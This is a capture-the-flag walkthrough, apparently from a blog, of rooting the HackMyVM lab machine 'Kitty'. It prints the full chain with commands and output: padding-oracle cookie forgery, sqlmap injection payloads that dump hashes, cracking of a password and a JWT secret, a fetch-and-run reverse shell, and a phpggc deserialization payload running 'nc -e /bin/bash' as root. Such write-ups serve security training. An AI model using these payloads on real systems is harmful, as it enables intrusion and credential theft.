Walkthrough of Kitty from HackMyVM Writeup
Kitty is a hard machine to root by avijneyam from the platform HackMyVM. The machine’s theme is cats as suggested by the name of the VM. To begin with, this machine needs some host enumeration, cracking passwords, cracking JWT exploits, utilizing various other exploits, etc. Also, I would like you guys to give it a try on your own because this isn’t the machine that many have succeeded, (i.e. 8 roots, 12 users, at the time of writing). “Walkthrough of Kitty from HackMyVM Writeup”
Get the IP address
As usual, we are going to start with the identification of the IP address of the target machine.
❯ fping -aqg 10.0.0.0/24
10.0.0.1
10.0.0.2
10.0.0.3
10.0.0.4
10.0.0.221
ShellScriptThe IP address of the target machine is 10.0.0.221.
Nmap scan
Next, we have to perform a Nmap scan.
❯ nmap -sC -sV -p- -oN nmap.log 10.0.0.221
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-22 22:49 +0545
Nmap scan report for 10.0.0.221
Host is up (0.0012s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
| 3072 27712458d37cb38a7b3249d1c80b4cba (RSA)
| 256 e23067387bdb9a8621013ebf0ee74f26 (ECDSA)
|_ 256 5d78c537a858ddc4b6bdceb5babf53dc (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Did not follow redirect to http://kitty.hmv
|_http-server-header: nginx/1.18.0
3000/tcp open ppp?
| fingerprint-strings:
| GenericLines, Help, RTSPRequest:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Content-Type: text/html; charset=UTF-8
| Set-Cookie: i_like_gitea=479a0e5ddeabb7dd; Path=/; HttpOnly; SameSite=Lax
| Set-Cookie: _csrf=cG1ze8nXSLm6yUBzmVaJpYmOoww6MTY3NDQwNzEyMTI3OTM1NjM0OQ; Path=/; Expires=Mon, 23 Jan 2023 17:05:21 GMT; HttpOnly; SameSite=Lax
| Set-Cookie: macaron_flash=; Path=/; Max-Age=0; HttpOnly; SameSite=Lax
| X-Frame-Options: SAMEORIGIN
| Date: Sun, 22 Jan 2023 17:05:21 GMT
| <!DOCTYPE html>
| <html lang="en-US" class="theme-">
| <head>
| <meta charset="utf-8">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <title> Gitea: Git with a cup of tea</title>
| <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR2l0ZWE6IEdpdCB3aXRoIGEgY3VwIG9mIHRlYSIsInNob3J0X25hbWUiOiJHaXRlYTogR2l0IHdpdGggYSBjdXAgb2YgdGVhIiwic3RhcnRfdXJsIjoiaHR0cDovL2xvY2FsaG9zdDozMDAwLyIsImljb25zIjpbeyJzcmMiOiJodHRwOi8vbG9jYWxob3N0OjMwMDAvYXNzZXRzL2ltZy9sb
| HTTPOptions:
| HTTP/1.0 405 Method Not Allowed
| Set-Cookie: i_like_gitea=685b13036bba4342; Path=/; HttpOnly; SameSite=Lax
| Set-Cookie: _csrf=yw2wt-Uhrsbv11aDEshkblacLW06MTY3NDQwNzEyNjM3NTMyNjMxOQ; Path=/; Expires=Mon, 23 Jan 2023 17:05:26 GMT; HttpOnly; SameSite=Lax
| Set-Cookie: macaron_flash=; Path=/; Max-Age=0; HttpOnly; SameSite=Lax
| X-Frame-Options: SAMEORIGIN
| Date: Sun, 22 Jan 2023 17:05:26 GMT
|_ Content-Length: 0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.93%I=7%D=1/22%Time=63CD6CD0%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20t
SF:ext/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x
SF:20Request")%r(GetRequest,1000,"HTTP/1\.0\x20200\x20OK\r\nContent-Type:\
SF:x20text/html;\x20charset=UTF-8\r\nSet-Cookie:\x20i_like_gitea=479a0e5dd
SF:eabb7dd;\x20Path=/;\x20HttpOnly;\x20SameSite=Lax\r\nSet-Cookie:\x20_csr
SF:f=cG1ze8nXSLm6yUBzmVaJpYmOoww6MTY3NDQwNzEyMTI3OTM1NjM0OQ;\x20Path=/;\x2
SF:0Expires=Mon,\x2023\x20Jan\x202023\x2017:05:21\x20GMT;\x20HttpOnly;\x20
SF:SameSite=Lax\r\nSet-Cookie:\x20macaron_flash=;\x20Path=/;\x20Max-Age=0;
SF:\x20HttpOnly;\x20SameSite=Lax\r\nX-Frame-Options:\x20SAMEORIGIN\r\nDate
SF::\x20Sun,\x2022\x20Jan\x202023\x2017:05:21\x20GMT\r\n\r\n<!DOCTYPE\x20h
SF:tml>\n<html\x20lang=\"en-US\"\x20class=\"theme-\">\n<head>\n\t<meta\x20
SF:charset=\"utf-8\">\n\t<meta\x20name=\"viewport\"\x20content=\"width=dev
SF:ice-width,\x20initial-scale=1\">\n\t<title>\x20Gitea:\x20Git\x20with\x2
SF:0a\x20cup\x20of\x20tea</title>\n\t<link\x20rel=\"manifest\"\x20href=\"d
SF:ata:application/json;base64,eyJuYW1lIjoiR2l0ZWE6IEdpdCB3aXRoIGEgY3VwIG9
SF:mIHRlYSIsInNob3J0X25hbWUiOiJHaXRlYTogR2l0IHdpdGggYSBjdXAgb2YgdGVhIiwic3
SF:RhcnRfdXJsIjoiaHR0cDovL2xvY2FsaG9zdDozMDAwLyIsImljb25zIjpbeyJzcmMiOiJod
SF:HRwOi8vbG9jYWxob3N0OjMwMDAvYXNzZXRzL2ltZy9sb")%r(Help,67,"HTTP/1\.1\x20
SF:400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\
SF:r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(HTTPOptions,19
SF:B,"HTTP/1\.0\x20405\x20Method\x20Not\x20Allowed\r\nSet-Cookie:\x20i_lik
SF:e_gitea=685b13036bba4342;\x20Path=/;\x20HttpOnly;\x20SameSite=Lax\r\nSe
SF:t-Cookie:\x20_csrf=yw2wt-Uhrsbv11aDEshkblacLW06MTY3NDQwNzEyNjM3NTMyNjMx
SF:OQ;\x20Path=/;\x20Expires=Mon,\x2023\x20Jan\x202023\x2017:05:26\x20GMT;
SF:\x20HttpOnly;\x20SameSite=Lax\r\nSet-Cookie:\x20macaron_flash=;\x20Path
SF:=/;\x20Max-Age=0;\x20HttpOnly;\x20SameSite=Lax\r\nX-Frame-Options:\x20S
SF:AMEORIGIN\r\nDate:\x20Sun,\x2022\x20Jan\x202023\x2017:05:26\x20GMT\r\nC
SF:ontent-Length:\x200\r\n\r\n")%r(RTSPRequest,67,"HTTP/1\.1\x20400\x20Bad
SF:\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnect
SF:ion:\x20close\r\n\r\n400\x20Bad\x20Request");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
ShellScriptNmap scan shows two web servers running on 80 and 3000 and looking at the cookies of the web server running at 3000, we know it’s “Gitea”.
Vhost bruteforcing
When we visit the main site, we are redirected to kitty.hmv. Also, this site is pretty static, so, we have to find some hosts.
❯ ffuf -r -c -ic -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "HOST: FUZZ.kitty.hmv" -u 'http://10.0.0.221' -fs 5381
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://10.0.0.221
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.kitty.hmv
:: Follow redirects : true
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 5381
________________________________________________
cookie [Status: 200, Size: 2785, Words: 286, Lines: 38, Duration: 65ms]
ShellScriptWe found a subdomain, cookie.kitty.hmv, that we have to add to our /etc/hosts. Then, we can browse that site that looks as follows.

As it said, we have to create an account after which we get a cookie. But I honestly didn’t know what to do after this. Hence, I took a bit of help from one of our fellow hackers whose writeup I have linked here.
Padding Oracle Attack
Here, we have to perform a padding oracle attack to decrypt the ciphertext. Thus, I installed padbuster for this purpose.
❯ padbuster http://cookie.kitty.hmv/home/index.php QU0vQkq1+ls2YFhWjQOIKXkvmKDYT1+n 8 --cookies 'auth=QU0vQkq1+ls2YFhWjQOIKXkvmKDYT1+n'
+-------------------------------------------+
| PadBuster - v0.3.3 |
| Brian Holyfield - Gotham Digital Science |
| labs@gdssecurity.com |
+-------------------------------------------+
INFO: The original request returned the following
[+] Status: 302
[+] Location: ../logout.php?err=1
[+] Content Length: 0
INFO: Starting PadBuster Decrypt Mode
*** Starting Block 1 of 2 ***
INFO: No error string was provided...starting response analysis
*** Response Analysis Complete ***
The following response signatures were returned:
-------------------------------------------------------
ID# Freq Status Length Location
-------------------------------------------------------
1 1 302 8144 ../login.php
2 ** 255 302 0 ../logout.php?err=1
-------------------------------------------------------
Enter an ID that matches the error condition
NOTE: The ID# marked with ** is recommended : 2
Continuing test with selection 2
[+] Success: (214/256) [Byte 8]
[+] Success: (99/256) [Byte 7]
[+] Success: (40/256) [Byte 6]
[+] Success: (141/256) [Byte 5]
[+] Success: (203/256) [Byte 4]
[+] Success: (180/256) [Byte 3]
[+] Success: (199/256) [Byte 2]
[+] Success: (196/256) [Byte 1]
Block 1 Results:
[+] Cipher Text (HEX): 366058568d038829
[+] Intermediate Bytes (HEX): 343e4a3077db9f2b
[+] Plain Text: user=nep
Use of uninitialized value $plainTextBytes in concatenation (.) or string at /usr/bin/padbuster line 361, <STDIN> line 1.
*** Starting Block 2 of 2 ***
[+] Success: (213/256) [Byte 8]
[+] Success: (119/256) [Byte 7]
[+] Success: (253/256) [Byte 6]
[+] Success: (15/256) [Byte 5]
[+] Success: (202/256) [Byte 4]
[+] Success: (198/256) [Byte 3]
[+] Success: (248/256) [Byte 2]
[+] Success: (163/256) [Byte 1]
Block 2 Results:
[+] Cipher Text (HEX): 792f98a0d84f5fa7
[+] Intermediate Bytes (HEX): 550f3c33f5008b2a
[+] Plain Text: codex
-------------------------------------------------------
** Finished ***
[+] Decrypted value (ASCII): user=nepcodex
[+] Decrypted value (HEX): 757365723D6E6570636F646578030303
[+] Decrypted value (Base64): dXNlcj1uZXBjb2RleAMDAw==
-------------------------------------------------------
ShellScriptHere, we were successful in cracking the cookie. So, we can try getting cookies for a possible admin user as follows.
❯ padbuster http://cookie.kitty.hmv/home/index.php QU0vQkq1+ls2YFhWjQOIKXkvmKDYT1+n 8 --cookies 'auth=QU0vQkq1+ls2YFhWjQOIKXkvmKDYT1+n' -plaintext user=admin
+-------------------------------------------+
| PadBuster - v0.3.3 |
| Brian Holyfield - Gotham Digital Science |
| labs@gdssecurity.com |
+-------------------------------------------+
INFO: The original request returned the following
[+] Status: 302
[+] Location: ../logout.php?err=1
[+] Content Length: 0
INFO: Starting PadBuster Encrypt Mode
[+] Number of Blocks: 2
INFO: No error string was provided...starting response analysis
*** Response Analysis Complete ***
The following response signatures were returned:
-------------------------------------------------------
ID# Freq Status Length Location
-------------------------------------------------------
1 1 302 8144 ../login.php
2 ** 255 302 0 ../logout.php?err=1
-------------------------------------------------------
Enter an ID that matches the error condition
NOTE: The ID# marked with ** is recommended : 2
Continuing test with selection 2
[+] Success: (196/256) [Byte 8]
[+] Success: (148/256) [Byte 7]
[+] Success: (92/256) [Byte 6]
[+] Success: (41/256) [Byte 5]
[+] Success: (218/256) [Byte 4]
[+] Success: (136/256) [Byte 3]
[+] Success: (150/256) [Byte 2]
[+] Success: (190/256) [Byte 1]
Block 2 Results:
[+] New Cipher Text (HEX): 23037825d5a1683b
[+] Intermediate Bytes (HEX): 4a6d7e23d3a76e3d
[+] Success: (1/256) [Byte 8]
[+] Success: (36/256) [Byte 7]
[+] Success: (180/256) [Byte 6]
[+] Success: (17/256) [Byte 5]
[+] Success: (146/256) [Byte 4]
[+] Success: (50/256) [Byte 3]
[+] Success: (132/256) [Byte 2]
[+] Success: (135/256) [Byte 1]
Block 1 Results:
[+] New Cipher Text (HEX): 0408ad19d62eba93
[+] Intermediate Bytes (HEX): 717bc86beb4fdefe
-------------------------------------------------------
** Finished ***
[+] Encrypted value is: BAitGdYuupMjA3gl1aFoOwAAAAAAAAAA
-------------------------------------------------------
ShellScriptWhen we replace the cookie using firefox developer tools, we see a new menu on the website.

SQL Injection
On the sources of the page, we see a script /config/last_login.js. Also, the URL is vulnerable to SQL injection. Hence, let’s enumerate using SQLMap.
async function getUsers() {
let url = 'http://cookie.kitty.hmv/home/logs.php?ajneya=admin';
try {
let res = await fetch(url);
return await res.text();
} catch (error) {
console.log(error);
}
}
async function renderUsers() {
let users = await getUsers();
let container = document.querySelector('.content');
container.innerHTML = users;
}
renderUsers();
JavaScript❯ sqlmap -u 'http://cookie.kitty.hmv/home/logs.php?ajneya=admin' --cookie='auth=BAitGdYuupMjA3gl1aFoOwAAAAAAAAAA' -D padding -T users,salt --dump
___
__H__
___ ___[)]_____ ___ ___ {1.7#stable}
|_ -| . [(] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 10:42:36 /2023-01-23/
[10:42:36] [INFO] resuming back-end DBMS 'mysql'
[10:42:36] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: ajneya (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: ajneya=admin') AND 8134=8134 AND ('VrHc'='VrHc
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: ajneya=admin') AND (SELECT 5761 FROM (SELECT(SLEEP(5)))LhHO) AND ('uztF'='uztF
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: ajneya=admin') UNION ALL SELECT NULL,NULL,CONCAT(0x716b627671,0x597253415a6f44484b656d57744455746b4d456850776b7469774b44747678634f6c6c7545716270,0x7171717071)-- -
---
[10:42:36] [INFO] the back-end DBMS is MySQL
web application technology: Nginx 1.18.0
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[10:42:36] [INFO] fetching columns for table 'users' in database 'padding'
[10:42:36] [INFO] fetching entries for table 'users' in database 'padding'
[10:42:36] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[10:42:40] [INFO] writing hashes to a temporary file '/tmp/sqlmaprvw3zn8x144537/sqlmaphashes-bh7l4po2.txt'
do you want to crack them via a dictionary-based attack? [Y/n/q] n
Database: padding
Table: users
[3 entries]
+----------------------------------+----------+
| password | username |
+----------------------------------+----------+
| 44db80f98c693eac47540c51137eeeac | admin |
| 357f47546ba3ab1cf633d3d0c54e2583 | gitea |
| d87d304bf68793eed897641bbf971bd3 | nepcodex |
+----------------------------------+----------+
[10:42:43] [INFO] table 'padding.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/cookie.kitty.hmv/dump/padding/users.csv'
[10:42:43] [INFO] fetching columns for table 'salt' in database 'padding'
[10:42:43] [INFO] fetching entries for table 'salt' in database 'padding'
Database: padding
Table: salt
[1 entry]
+------+--------------+
| type | value |
+------+--------------+
| salt | Y<redacted>t |
+------+--------------+
ShellScriptCrack password
Since we have salt and hash, we can try getting the password of the user gitea. Therefore, I am going to use john the ripper for the purpose. Furthermore, we have to store the hash in the format “hash$salt”
❯ john hash --wordlist=/home/kali/rockyou.txt --format='dynamic=md5($p.$s)'
Using default input encoding: UTF-8
Loaded 1 password hash (dynamic=md5($p.$s) [256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
git***me (?)
1g 0:00:00:03 DONE (2023-01-23 11:13) 0.2857g/s 2247Kp/s 2247Kc/s 2247KC/s gizmo702..giserocks
Use the "--show --format=dynamic=md5($p.$s)" options to display all of the cracked passwords reliably
Session completed.
ShellScriptOnce we get the id, we can log into the gitea in port 3000. Here, we have information about another subdomain that we can add on /etc/hosts.

Furthermore, there is an API endpoint that specifically says about login credentials.

Trying out with -1 and -2 gives us the username and private key. However, we have to format the private key.

Exploit the JWT
With the username and password that we found, we can hit the login endpoint in Swagger. Then, we can use the JWT to crack the signing secret.
{
"access_token": "redacted.eyJ1c2VybmFtZSI6Im5vYm9keSIsImlzX2FkbWluIjowLCJleHBpcmVzIjoxNjc0NDUzNTQ2LjEyNDkyMzV9.<redacted>-9ELYA"
}
JSONLet’s crack the JWT signing secret. Also, JWT is formed of 3 parts, header, body and signing secret separated by full stops (.). So, with the header that describes the signing algorithm, we can use John to crack the secret.
❯ john jwt --wordlist=/home/kali/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 256/256 AVX2 8x])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
thispassword<redacted>secret (?)
1g 0:00:00:02 DONE (2023-01-23 11:42) 0.3610g/s 1169Kp/s 1169Kc/s 1169KC/s thomasjasoncornett..thinkpink19
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
ShellScriptOnce we get the secret, we can create our own tokens, using jwt.io.

Lastly, we can authorize the Swagger API using the token (from the top right Authorize button). Now, we have to do this because there is a GET endpoint /secure/{command} that needs authorization. Thus, I tried executing a command but it gave an error response message. Nevertheless, the command “wget” gave a different response to check ~source_code.
"if re.search(\"wget\", command):\n\tregex = re.compile('[@#$%&):(`}{;\"'?|></]')\n\tif regex.search(command):\n\t\treturn \"You Can't Use Any Special Characters ---- Blocked Special Characters Are ==> [@#$%&):'(`}\"{?;<>|/]\nelse:\n\tos.system(command)"
JSONFrom the response, it looks like the command must have the keyword wget. Also, we cannot use many characters. So, to bypass this, I created a shell as index.html that would spawn a reverse shell.
curl -o shell.sh 10.0.0.4 -wget
ShellScriptbash shell.sh -wget
ShellScriptHere, we have to download the script with the first command, and then execute the script with the second one. Finally, we get the reverse shell.
❯ nc -nlvp 9001
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.0.0.221.
Ncat: Connection from 10.0.0.221:39892.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@kitty:/usr/local/src/FastAPI$ ^Z
[1] + 146187 suspended nc -nlvp 9001
❯ stty raw -echo;fg
[1] + 146187 continued nc -nlvp 9001
www-data@kitty:/usr/local/src/FastAPI$ export TERM=xterm
www-data@kitty:/usr/local/src/FastAPI$ stty rows 32 cols 169
www-data@kitty:/usr/local/src/FastAPI$
ShellScriptUser shell
For the user shell, we can use the private key to log in as dyutidhara
.
❯ ssh dyutidhara@10.0.0.221 -i id_rsa
Linux kitty 5.10.0-13-amd64 #1 SMP Debian 5.10.106-1 (2022-03-17) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Mar 29 06:39:26 2022 from 192.168.1.5
dyutidhara@kitty:~$ id
uid=1000(dyutidhara) gid=1000(dyutidhara) groups=1000(dyutidhara)
ShellScriptCronjob exploit with deserialization
Firstly, we have a cronjob run by the user root.
dyutidhara@kitty:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
* * * * * root [ -f /usr/local/etc/newfile.txt ] && /usr/bin/sed -e 's/\[{"Expires":1,"Discard":false,"Value":"//' -e 's/\\n"}]//' /usr/local/etc/newfile.txt > /usr/local/etc/payload.txt | for i in $(/usr/bin/cat /usr/local/etc/payload.txt); do /usr/bin/echo $i | /usr/bin/base64 -d | /usr/bin/bash; done
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
ShellScriptFurthermore, the cronjob creates a file, decodes it from base64 and executes it using bash. However, let’s check for Nginx sites. Fortunately, we have a site called opencats in a new subdomain.
dyutidhara@kitty:~$ cat /etc/nginx/sites-enabled/opencats
server {
listen 80;
server_name thisisnotcatitisopencats.kitty.hmv;
root /opt/opencats;
index index.html index.htm index.php;
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/power.sock;
}
}
NginxFrom the login page of the website, we know that this version might be vulnerable to Insecure deserialization. Furthermore, we know from the following link that we can exploit it using phpgc.
Exploit and get a reverse shell
Now, we can combine this information together with the cronjob’s information to execute our reverse shell. Therefore, let’s create an exploit in our local machine and serialize it using phpgc.
❯ echo 'nc -e /bin/bash 10.0.0.4 9001' | base64 > /tmp/newfile.txt
❯ phpggc -u --fast-destruct Guzzle/FW1 /usr/local/etc/newfile.txt /tmp/newfile.txt
a%3A2%3A%7Bi%3A7%3BO%3A31%3A%22GuzzleHttp%5CCookie%5CFileCookieJar%22%3A4%3A%7Bs%3A36%3A%22%00GuzzleHttp%5CCookie%5CCookieJar%00cookies%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A27%3A%22GuzzleHttp%5CCookie%5CSetCookie%22%3A1%3A%7Bs%3A33%3A%22%00GuzzleHttp%5CCookie%5CSetCookie%00data%22%3Ba%3A3%3A%7Bs%3A7%3A%22Expires%22%3Bi%3A1%3Bs%3A7%3A%22Discard%22%3Bb%3A0%3Bs%3A5%3A%22Value%22%3Bs%3A41%3A%22bmMgLWUgL2Jpbi9iYXNoIDEwLjAuMC40IDkwMDEK%0A%22%3B%7D%7D%7Ds%3A39%3A%22%00GuzzleHttp%5CCookie%5CCookieJar%00strictMode%22%3BN%3Bs%3A41%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00filename%22%3Bs%3A26%3A%22%2Fusr%2Flocal%2Fetc%2Fnewfile.txt%22%3Bs%3A52%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00storeSessionCookies%22%3Bb%3A1%3B%7Di%3A7%3Bi%3A7%3B%7D
ShellScriptAlthough we have created our exploit payload, we need authentication. Since we are in the system, we can simply update the password of the user “admin” in the database.
dyutidhara@kitty:~$ mysql -uroot -proot
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 12243
Server version: 10.5.15-MariaDB-1:10.5.15+maria~bullseye mariadb.org binary distribution
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> use opencats;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [opencats]> UPDATE user SET password='21232f297a57a5a743894a0e4a801fc3' WHERE user_name='admin';
Query OK, 1 row affected (0.001 sec)
Rows matched: 1 Changed: 1 Warnings: 0
SQLThus, we can log in as admin:admin after we did this update. Finally, we can use the exploit as follows.
http://thisisnotcatitisopencats.kitty.hmv/index.php?m=activity¶metersactivity:ActivityDataGrid=a%3A2%3A%7Bi%3A7%3BO%3A31%3A%22GuzzleHttp%5CCookie%5CFileCookieJar%22%3A4%3A%7Bs%3A36%3A%22%00GuzzleHttp%5CCookie%5CCookieJar%00cookies%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A27%3A%22GuzzleHttp%5CCookie%5CSetCookie%22%3A1%3A%7Bs%3A33%3A%22%00GuzzleHttp%5CCookie%5CSetCookie%00data%22%3Ba%3A3%3A%7Bs%3A7%3A%22Expires%22%3Bi%3A1%3Bs%3A7%3A%22Discard%22%3Bb%3A0%3Bs%3A5%3A%22Value%22%3Bs%3A41%3A%22bmMgLWUgL2Jpbi9iYXNoIDEwLjAuMC40IDkwMDEK%0A%22%3B%7D%7D%7Ds%3A39%3A%22%00GuzzleHttp%5CCookie%5CCookieJar%00strictMode%22%3BN%3Bs%3A41%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00filename%22%3Bs%3A26%3A%22%2Fusr%2Flocal%2Fetc%2Fnewfile.txt%22%3Bs%3A52%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00storeSessionCookies%22%3Bb%3A1%3B%7Di%3A7%3Bi%3A7%3B%7D
ShellScriptLastly, we get our root shell.
❯ nc -nlvp 9001
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.0.0.221.
Ncat: Connection from 10.0.0.221:40532.
id
uid=0(root) gid=0(root) groups=0(root)
echo nepcodex; md5sum /etc/shadow
nepcodex
47ac01c6910d185eccb7ae522f7e1556 /etc/shadow
ShellScript